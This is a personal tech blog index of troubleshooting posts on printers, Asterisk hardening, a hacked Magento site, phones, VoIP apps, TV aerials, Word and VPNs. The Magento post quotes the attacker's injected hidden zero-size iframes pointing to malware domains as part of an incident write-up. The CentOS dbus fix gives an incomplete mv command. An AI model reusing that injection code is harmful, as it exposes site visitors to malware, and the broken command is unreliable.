Blog

  • Solved “31.41 Missing or Defective Cartridge Error” for Lexmark C746dn printer

    最近我碰到的设备故障多到来不及处理,它们就处于瘫痪状态,等我有空了慢慢修。好在设备多,坏几个不至于工作无着,但毕竟影响效率。今天修好一台打印机故障,还是令人高兴。

    这是一台 Lexmark C746dn 彩色激光打印机,开机后显示 “31.41 Missing or Defective Cartridge Error”。在 Web UI 显示不出黑色碳粉盒信息,我想故障出在黑色碳粉盒上。我多次取出、再装回黑色碳粉盒,都无法让这个 31.41 错误消失。

    无数次 Google 之后,终于发现有人提到 Cartridge Contact Replacement Cables (FRU part number 41X0444)。这个信息很有用,我已来不及看用户手册查 Cartridge Contact Cable 在哪儿,只是搜索了一下它大致长什么样,然后打开粉仓,把我目光都能看到的长得有点像 Cartridge Contact Cable 的线都摸了一遍,然后关好粉仓,31.41 错误消失了!等待机器自检的过程中,我还在想,要不要拿螺丝刀开后盖检查主板接线呢。完全不用!正常如往常!

  • Do not run Asterisk as root user

    我用的 FreePBX 带的 Asterisk 是很久以前安装的,也没有关心过它是不是以 root 身份运行,直到最近被攻击。

    攻击的症状是有大量的流量访问,伴随流量不停在 /tmp 目录下生成 1-2 GB 的垃圾文件,产生文件的速度似乎跟流量大小相关。

    我不懂此次攻击的原理,但我发现原来一直以来 Asterisk 都是以 root 身份运行,我也知道这不合适。同时我也发现系统里早已有 asterisk 用户和 asterisk 组,程序、配置文件和文件夹的属主和属组都已是 asterisk 和 asterisk,也许攻击者对 Asterisk 做了提权。

    不管怎样,我得先把 Asterisk 改为非 root 身份运行。因为我的 Asterisk 以 service 方式启动,所以我在 /etc/init.d/asterisk 里增加了两行:

    AST_USER="asterisk"
    AST_GROUP="asterisk"

    重启就 OK 了。流量正常了,/tmp 下也不再生产垃圾文件,但不知道攻击有没有消失,至少漏洞堵上了。

    在堵漏洞的过程中还有个插曲:一开始还不清楚是不是操作系统层面的漏洞,我一上来就来一个

    yum update -y

    结果重启后发现系统瘫痪了,连 ssh 也进不去,只好用 console 登录,发现尝试用 service 启动任何服务时都会出现类似的错误信息。

    Error getting authority: Error initializing authority: Could not connect: Connection refused (g-io-error-quark, 44)

    据说这是 CentOS 在某个阶段升级特有的毛病。执行以下命令就好了:

    mv /var/run/dbus/system_bus_socket

    ln -s /run/dbus/system_bus_socket /var/run/dbus/system_bus_socket

  • Magento site was compromised

    It was my first time to see a hacker is close to me.

    I was flooded with notification emails from Google Adsense subjected “Your AdSense Publisher Policy Violation Report” from yesterday afternoon. I immediately tried to visit either blog.goods-pro.com or goods-pro.com to see what was going on. I got a scary warning message saying either site contains malware by Chrome and Firefox (on desktop. Chrome for Android does not do safe browsing check. I don’t know if Firefox does so.)

    It took me a while to find out which site contains malware. As blog.goods-pro.com was using AdSense but goods-pro.com wasn’t, at first I thought it was blog.goods-pro.com that were hacked. blog.goods-pro.com was powered by WordPress, so I went through all the plugins and compared with my other WordPress sites, I didn’t find a suspicious plugin.

    Then I started to look into the main domain site goods-pro.com, which was installed with Magento. It took me quite a while for me to know there was a good tool from https://sitecheck.sucuri.net/ to check what malware was on the site.

    Then it took me another while to find out how the hacker did it. Basically the hacker compromised one of admin’s (not mine) password, and add the following code in three places (design/footer/copyright, design/head/includes, design/footer/absolute_footer) in Magento System >> Configuration.

    <iframe src=”https://hersosx2sk.tk/Rnjqs3″ frameborder=”0″ width=”0″ height=”0″></iframe><iframe src=”https://mytokeasn2s.ru/mwRwD7″ frameborder=”0″ width=”0″ height=”0″></iframe>

    hersosx2sk.tk and mytokeasn2s.ru are malware sites. And if a site links to them, it is regarded as malware site as well. 

    When I disabled access of compromised admin accounts (without removing the injected code), I found Chrome and Firefox stopped giving that scary warnings, and visits to hersosx2sk.tk or mytokeasn2s.ru are redirected to Google. I don’t understand how Google can take control of these domains so quick, but anyway, it is not my business.

    At last I removed all malware codes and requested AdSense a review of blog.goods-pro.com.

  • 对孩子有信心他就能成才,对华为有信心她就能开机

    Huawei Mate 9
    Huawei Mate 9

    我有一台华为新手机 Mate 9,半年前开了一次机,没有插SIM卡也没有关机就扔在抽屉里扔了半年多。因为 Mate 8 太强悍,丝毫没有退休的迹象,直到皮套磨得实在不成样子,想起来还是换个新机子吧。捞出 Mate 9 一看,没电并且充不进电(充电灯不亮)。网上查了一下这种症状,术语叫做慢速放电(因为没有 SIM 和 Wi-Fi)、长时间闲置而导致的过度放电,简单点说就是电池放电放到连充电的力气都没有了。解决的办法是以下几种:

    • 用电脑 USB 口充电
    • 不管有没有反应,就一直插着充
    • 长按 Power 键
    • 长按 Power 和 Volume – 两键
    • 把电池取出来充电

    除了最后一种没试过,其他我都多次试过,没有用。非得送修才能开机吗?我始终觉得华为质量不会辜负善良的我,所以我就把 Mate 9 一直充电,哪怕它丝毫没有反应。直到有一天,我坐在沙发上看孩子们玩跳舞毯,刚好 Mate 9 在沙发边默默地被充电。这时我心里有一种不股哪里来的坚定的信念:华为的高端机型、又是全新的,还没开始用就去返修的几率是极小的,在我这里可以忽略,我要把她弄醒过来。手里闲着也是闲着,于是我开始重复做以下动作:

    1. 按住 Power 和 Volume – 两键十秒钟
    2. 放开十秒钟
    3. 把 Type C 拔出来十秒钟后再插回去

    不知做了几个周天,突然,Mate 9 在手心了轻微震了一下。我大喜,低头一看充电灯以 1 Hz 的频率一闪一灭,我不敢再动,任由她呼吸个把小时,再尝试开机。发现不能用 Power 一键开机,就用 Power 和 Volume – 两键强制开机。不管是一键还是两键,能够开机就是好机。这时我发现之前呼吸灯状态并没有被充电,开机以后才开始充电。充满后第一次拔了 Type C,Mate 9 突然就掉电关机,但这只是小插曲,再次开机就一次正常了。

    华为果然不负我所望!

  • Best SIP client soft phone is GS Wave

    I have tried almost every VOIP soft phone app on Google Play. Before I found GS Wave, I reckoned Zoiper app was the best soft phone, thus I paid for its premium version to get its premium feature of video call.

    However I never got this feature working. I wanted to see the video from my video door phone on my mobile with Zoiper. My video door phone supports H264 video codec but Zoiper supports VP8 unless I pay Zoiper again just for H264 codec . Unlike audio codec while a VOIP server can translate audio codec between clients, video codec is said to be P2P. (There may be a way of video codec translation, but I don’t know how.)

    I had video calls working between my video door phone and desktop SIP phones which are “hard phones” with H264 built in. And I had audio calls working on all devices. So I was not desperate for video on Zoiper.

    Zoiper has a major defect. It cannot stay online 24/7 on latest Android version (I tested on two Huawei Mate 8 and one P9) or iOS. Many times status bar shows it is online but actually it is not reachable. Zoiper was reliable on Android 4.x.x. I guess Zoiper “forgets” to re-register itself when OS goes into sleep. For above reasons I am reluctant to pay Zoiper any more money.

    Recently I visited Fanvil website and discovered Fanvil had developed a soft phone called “Vdroid” for free download. To my surprise, Vdroid integrated G729 audio codec and H264 video codec. They are premium codec as on Zoiper. (Later on I learnt G729 patent expired on 1st Jan, 2017 but Zoiper is still selling G729 for money. I knew nothing about H264.) However Vdroid has too many bugs and is not a mature software.

    Then I thought other VOIP device manufacturers might have their own soft phones for public. I checked Grandstream, Yealink and Cisco but only found Grandstream generously offering GS Wave. GS Wave has both Android and iOS version, and both works reliably, and both has G729 and H264 built in for free! I cannot wait any longer to recommend GS Wave to everyone. Google Play is overwhelmed by other apps for search results of “sip” or “voip”, and GS Wave is nowhere in the ranking. But trust me, it is the best one.

     

  • Our TVs were not connected to aerial for two years

    两周之前来了一对夫妇客人,非常喜欢我们酒店的服务,回去以后还写邮件来表示感谢,我客套地回了信。之后他们又去 booking.com 给了满分评价,我看到了,连忙再发信表示感谢。他们见我态度积极,才跟我说,他们看其他台没问题,但看 BBC 1 台电视信号不太好,当时他们怀疑是暴雨所致,但第二天清晨暴雨停息,电视信号还是不好,直到他们退房前一刻才好。

    我一看又是电视信号问题,就郁闷了。因为这个房间信号时好时不好由来已久,一般也是 BBC 1 台和 2 台有马赛克现象。每次我更换一个接头、或更换一根房间内的线缆、或重拉房间到分线盒的线缆、或更换分线盒,每次更换似乎当时都能得到相当好的电视信号,但是没过多久又变不好了。三、四个月前还劳师动众重铺了从楼顶信号放大器到分线盒的线缆,当时我说,经过这一轮,这条线路上除了天线和放大器,全部被我换成新的了,再也不会被信号不好所困扰了。

    其实天线也装了不到两年,安装那天我不在,叫来一个“专业”电视天线安装公司装的。至于放大器好不好,每次我怀疑它不好,就替换法测试,它能让其他房间有很好的信号,所以我不认为放大器有问题。如今客人又说信号不好,我实在不知道该换什么了,能不郁闷吗?!

    但是我还是决定换点什么看看。我有几个超级强悍的放大器,去年 Wickes clearance 时预存的货,但是由于新放大器采用更可靠的 F type 接口,而老放大器用的是普通 TV 插头,换放大器意味着全部线头要重做。我想放大器失效的可能性较小,同时也想偷懒,所以这次先换天线。我认为当初电视天线安装公司装的天线不够灵敏,才造成这信号时好时不好的问题。经过一番挑选,买了一款高增益、体积也是巨无霸型的天线。

    今天趁着天好,和维修工爬到屋顶,拆下了旧天线,接上新天线。然后我回到房间观察信号强度,维修工留在屋顶不停调整天线角度。非常奇怪的是,随着角度变换,电视信号强度也在 0 到 5 格满格之间变化。

    为什么我说“非常奇怪”?因为当我们找到一个最佳角度以后,维修工把天线固定好,然后固定线缆。这根线缆之前接在旧天线上,线缆一头接天线,另一头插进了一片瓦片,当时我以为是通到位于阁楼的放大器。瓦片缝里还露有另一根线缆光头,丢弃在一边,当时我以为这根弃用的线缆是更早的时候用来连接天线和放大器的。维修工扯了扯连着天线的线缆,结果整根线缆就拉出来了,它的另一端就是丢弃在一边的线缆光头。原来之前的天线根本没有连到任何地方!

    为什么没有天线还能接收信号,只是有时信号不好?我猜这栋楼里的连接各房间电视的线缆组成了一个低质量的天线(由此可见这个城市的电视信号很强——这么差的接收系统还能磕磕碰碰地看了两年电视)。

    为什么新天线没有接入放大器,还能影响电视信号?我猜它的角度是能改变周围电磁场的分布(由此可见新天线的干扰能力很强大,接收能力也应该很强大)。

    我很不满当年的电视天线安装公司。它要么就是不够专业,装了天线也不测试一下有没有连接成功;要么就是故意糊弄人。

    整栋楼的电视居然没有天线。这个重大缺陷我居然花了两年才发现。这也是我不愿接手别人做的系统,宁愿自己装修的原因。

  • Insert regular hexagon in Word

    坑爹的 Word 插入的六边形竟然不是正六边形,即使按住 Shift 键拖出来的也不是正六边形。当然我也有责任,Word 在插入六边形时从来没说这是正六边形(Word 插入五边形时提示是正五边形)。

    虽然不是正六边形,但在没有尺子、没有参照物的情况下,我也没发现它不是正六边形。我是在画一个以正六边形为基本形状的 logo 草图,以便向设计师传达我的想法。陆陆续续画了两天,发现某两条边总是不相等——如果是在正六边形上作图,这两条边会等长。

    我以为我的平面几何知识已经退化成零,一遍又一遍地验算一道只有初一几何题难度的 logo 分解图,始终不能把两条边调成等长。我甚至怀疑我的显示器纵横比出问题了,耗了两天才想起来去量一量 Word 一开始插入的六边形是不是正六边形。一量,不是,晕厥!

    My hotel logo draft
    My hotel logo draft

    知道它不是正六边形,把它调整为正六边形就很简单了——先插入一个六边形,不用按住 Shift,按住也没用,插入的宽高比不是 1:1,也不是正六边形的应有的√3/2,必须手动调整一下宽高比成 0.866 左右。作一条水平线,再旋转 30 度,以之为基准,按住六边形的黄点,拖动直到六边形的某边与基准线重合或平行。

  • List all orphaned files in Google Drive

    我们办公室里曾经用 Google Drive 做文件管理,我们需要文件共享、本地编辑、云同步这几个主要的特性。理论上 Google Drive 能做到,但实际使用中并不理想,它只有 Windows 版的同步程序,经常为一个文件同步出好几份拷贝,引起混淆。我觉得病根在于 Windows 和 Linux/Unix 文件结构的差异性,如果有 Linux 版的同步程序会好一些,可是一直没等到。

    其实我也太折腾 Google Drive:我把 Google Drive Sync 安装在一台 Windows PC,设定的同步文件夹在 NAS 的 Simba 共享上(否则绕不开 Sync 对文件的权限设定,无法让多人使用)。这种非常规的设置一直用得磕磕绊绊,直到某一天,我意识到 Google Drive 不是为多人多地共享设计的,于是改用 FreeNAS。

    其实今天扯远了。今天是讲我发现 Google Drive 可以列出所有的 orphaned files,搜索条件就是“is:unorganized owner:me”。这些孤儿文件就是在别人的共享文件夹创建的,在宿主文件夹被删除以后,其下的文件因属主不同不会被删除,而是成了没有宿主文件夹的孤儿。

    这些文件除了在属主的帐户里搜索,没有其他办法被找到。日积月累,孤儿文件越来越多,之前一直缺少一个办法列出所有的孤儿文件,问了 Google 几次无果,搞得我都想自己写一个搜索程序(当然还没动手),今天发现有办法了。

    但懂得搜索“is:unorganized owner:me”可算是高级技巧了,我觉得 Google Drive 可以搞一个类似“Shared with me”的“Orphaned”标签,或者允许删除文件夹时一并删除其下有写权限文件,不论属主(这样也是安全的——既然创建者把文件创建在共享文件夹里允许别人修改,就也应该允许别人删除)。

  • Why DrayTek SmartVPN does not work in Windows 10?

    Why DrayTek SmartVPN does not work in Windows 10? Well, it will work, but it does not work out of box. 

    After installing SmartVPN in Windows 10, I set SmartVPN client to use remote gateway and DNS, then I can see VPN connection is green (as usual), and I can get public IP of remote gateway. However, the traffic is not fully routed to remote gateway. From the symptom I guess DNS is not routed to remote.

    To fix this problem, I have to disable “Automatic metric” for TCP/IPv4 property of VPN connection, and manually set “Interface metric” to a figure that is smaller than the one of Local connection or Wi-Fi connection, whichever I am using to connect to the Internet.

    The theory behind is simple – the smaller metric is, the higher priority of the route. By default settings Windows 10 cannot work out a suitable metric for VPN connection, but Windows 7 can. This is another proof of Windows is getting more stupid.

  • VPS that has fast connection with mainland China

    由于众所周知的原因,中国内地访问国外网站的速度受很多不可控因素的影响。服务器提供商有各种各样的宣传,比如 CN2 专线、中港双线、三线直连,我试过,大概是专线资源太过昂贵,最终用户分配到的带宽有限,效果还不如百兆或千兆普通国际线路。多年来我一直在找事实上连接飞快的服务器,不管它配不配专线、做不做优化。

    最近学到一招,可以在购买服务器之前量化评估线路速度:上 ipip.net,选“实用工具”>>“TraceRoute”,选择一个关心的线路,输入服务器提供商提供的测试 IP,如果所有节点的反应在 100ms 以内,就可以算连接飞快。

    我测了无数家 VPS 提供商的 IP,目前就只发现一家符合连接飞快的要求。因为我还没买,所以暂时不公布。哪天我把芳草苑迁移过去了,你们自然也知道了。